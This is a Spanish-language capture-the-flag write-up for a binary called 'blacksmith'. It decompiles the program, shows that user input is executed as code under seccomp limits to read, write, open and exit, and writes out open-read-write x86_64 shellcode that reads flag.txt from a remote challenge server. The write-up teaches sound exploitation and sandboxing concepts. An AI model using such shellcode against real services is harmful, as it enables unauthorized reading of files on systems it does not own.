Blacksmith
8 minutos de lectura
Se nos proporciona un binario de 64 bits llamado blacksmith
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Si lo abrimos en Ghidra, veremos esta función main
:
void main() {
size_t length;
long in_FS_OFFSET;
int answer;
int option;
char *message_1;
char *message_2;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
message_1 = "You are worthy to carry this Divine Weapon and bring peace to our homeland!\n";
message_2 = "This in not a weapon! Do not try to mock me!\n";
puts("Traveler, I need some materials to fuse in order to create something really powerful!");
printf("Do you have the materials I need to craft the Ultimate Weapon?\n1. Yes, everything is here! \n2. No, I did not manage to bring them all!\n> ");
__isoc99_scanf("%d", &answer);
if (answer != 1) {
puts("Farewell traveler! Come back when you have all the materials!");
/* WARNING: Subroutine does not return */
exit(0x22);
}
printf(&menu);
__isoc99_scanf("%d", &option);
sec();
if (option == 1) {
sword();
} else if (option == 2) {
shield();
} else if (option == 3) {
bow();
} else {
length = strlen(message_2);
write(1, message_2, length);
/* WARNING: Subroutine does not return */
exit(0x105);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Muestra un menú con varias opciones:
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 2
Farewell traveler! Come back when you have all the materials!
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 1
This sword can cut through anything! The only thing is, that it is too heavy carry it..
zsh: invalid system call ./blacksmith
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 3
This bow's range is the best!
Too bad you do not have enough materials to craft some arrows too..
zsh: invalid system call ./blacksmith
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 2
Excellent choice! This luminous shield is empowered with Sun's light! ☀
It will protect you from any attack and it can reflect enemies attacks back!
Do you like your new weapon?
> yes
zsh: segmentation fault ./blacksmith
La única opción en la que podemos introducir datos es shield
(opción 2
):
void shield() {
size_t length;
long in_FS_OFFSET;
undefined shellcode [72];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
length = strlen(message);
write(1, message, length);
length = strlen("Do you like your new weapon?\n> ");
write(1, "Do you like your new weapon?\n> ", length);
read(0, shellcode, 63);
(*(code *) shellcode)();
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Básicamente, tenemos la oportunidad de introducir instrucciones en código máquina para que se ejecuten. Podemos introducir hasta 63 bytes. Sin embargo, estamos limitados por sec
, que implementa reglas seccomp
para permitir instrucciones syscall
específicas:
void sec() {
undefined8 rules;
long in_FS_OFFSET;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
prctl(0x26, 1);
prctl(4, 0);
rules = seccomp_init(0);
seccomp_rule_add(rules, 0x7fff0000, 2, 0);
seccomp_rule_add(rules, 0x7fff0000, 0, 0);
seccomp_rule_add(rules, 0x7fff0000, 1, 0);
seccomp_rule_add(rules, 0x7fff0000, 0x3c, 0);
seccomp_load(rules);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Para enumerar estas reglas seccomp
, podemos usar seccomp-tools
:
$ seccomp-tools dump ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
Entonces, nos permiten usar sys_read
, sys_write
, sys_open
y sys_exit
. Existen varias páginas web en las que se listan todas las instrucciones syscall
de Linux x86_64 con los parámetros y registros necesarios. Por ejemplo, esta.
Con las instrucciones syscall
permitidas, podemos abrir el archivo de la flag (flag.txt
) con sys_open
, leer el descriptor de archivo con sys_read
y escribir su contenido al descriptor de archivo stdout
con sys_write
. Adicionalmente, podemos salir con sys_exit
.
Entonces, sys_openat
necesita la siguiente configuración de registros:
$rax = 2
$rdi
tiene un puntero al nombre del archivo$rsi
tiene unas flags$rdx
tiene el modo de operación (este se puede omitir)
Específicamente, podemos mirar en man7.org y aprender más sobre el significado de los parámetros:
int open(const char *pathname, int flags);
Una vez que tengamos sys_open
configurado, recibiremos el descriptor de archivo del archivo de la flag como valor de retorno en $rax
. Aquí será cuando usemos sys_read
:
$rax = 0
$rdi
tiene el descriptor de archivo (el que devuelvesys_open
)$rsi
tiene la dirección en la que se guardarán los contenidos leídos$rdx
tiene el número de bytes a leer (por ejemplo,100
)
ssize_t read(int fd, void *buf, size_t count);
Finalmente, escribiremos el contenido a stdout
mediante sys_write
:
$rax = 1
$rdi
tiene el descriptor de archivo (1
parastdout
)$rsi
tiene la dirección desde la que se cogerán los contenidos a escribir$rdx
tiene el número de bytes a escribir (por ejemplo,100
)
ssize_t write(int fd, const void *buf, size_t count);
Para gente que nunca ha escrito en ensamblador, puede ser útil escribir un programa en C con la configuración anterior, compilarlo y analizar el código ensamblador generado:
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
void main() {
int fd;
char data[256];
fd = open("./flag.txt", O_RDONLY);
read(fd, data, 100);
write(1, data, 100);
exit(0);
}
$ gcc test.c -O3 -o test
test.c: In function ‘main’:
test.c:10:2: warning: ignoring return value of ‘read’, declared with attribute warn_unused_result [-Wunused-result]
10 | read(fd, data, 100);
| ^~~~~~~~~~~~~~~~~~~
test.c:11:2: warning: ignoring return value of ‘write’, declared with attribute warn_unused_result [-Wunused-result]
11 | write(1, data, 100);
| ^~~~~~~~~~~~~~~~~~~
$ ./test
HTB{f4k3_fl4g_f0r_t3st1ng}
Ese es el código ensamblador generado (optimizado debido a la opción -O3
de gcc
). Este shellcode se conoce con el nombre de open-read-write:
$ objdump -M intel --disassemble=main test
test: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .plt.got:
Disassembly of section .plt.sec:
Disassembly of section .text:
00000000000010c0 <main>:
10c0: f3 0f 1e fa endbr64
10c4: 55 push rbp
10c5: 31 f6 xor esi,esi
10c7: 48 8d 3d 36 0f 00 00 lea rdi,[rip+0xf36] # 2004 <_IO_stdin_used+0x4>
10ce: 48 81 ec 10 01 00 00 sub rsp,0x110
10d5: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
10dc: 00 00
10de: 48 89 84 24 08 01 00 mov QWORD PTR [rsp+0x108],rax
10e5: 00
10e6: 31 c0 xor eax,eax
10e8: 48 89 e5 mov rbp,rsp
10eb: e8 b0 ff ff ff call 10a0 <open@plt>
10f0: ba 64 00 00 00 mov edx,0x64
10f5: 48 89 ee mov rsi,rbp
10f8: 89 c7 mov edi,eax
10fa: e8 91 ff ff ff call 1090 <read@plt>
10ff: bf 01 00 00 00 mov edi,0x1
1104: ba 64 00 00 00 mov edx,0x64
1109: 48 89 ee mov rsi,rbp
110c: e8 6f ff ff ff call 1080 <write@plt>
1111: 31 ff xor edi,edi
1113: e8 98 ff ff ff call 10b0 <exit@plt>
Disassembly of section .fini:
Esto está bien, pero ahora hay que hacer lo mismo con instrucciones syscall
:
push rsi
mov rdi, 'flag.txt' # as hexadecimal number
push rdi
mov rdi, rsp
mov al, 2
syscall
mov dl, 0x64
mov rsi, rsp
xor edi, eax
xor al, al
syscall
mov al, 1
mov rdi, rax
syscall
mov al, 0x3c
syscall
Nótese cómo puse $rdi
como puntero a "flag.txt\0"
, y también cómo los registros para sys_write
siguen configurados de la anterior instrucción sys_read
. También, optimicé el uso de los registros para que el shellcode generado fuera más corto.
Si introducimos el shellcode anterior en el programa blacksmith
, obtendremos la flag:
$ python3 solve.py 134.209.26.70:31965
[*] './blacksmith'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Opening connection to 134.209.26.70 on port 31965: Done
[+] HTB{s3cc0mp_1s_t00_s3cur3}
[*] Closed connection to 134.209.26.70 port 31965
El exploit completo se puede encontrar aquí: solve.py
.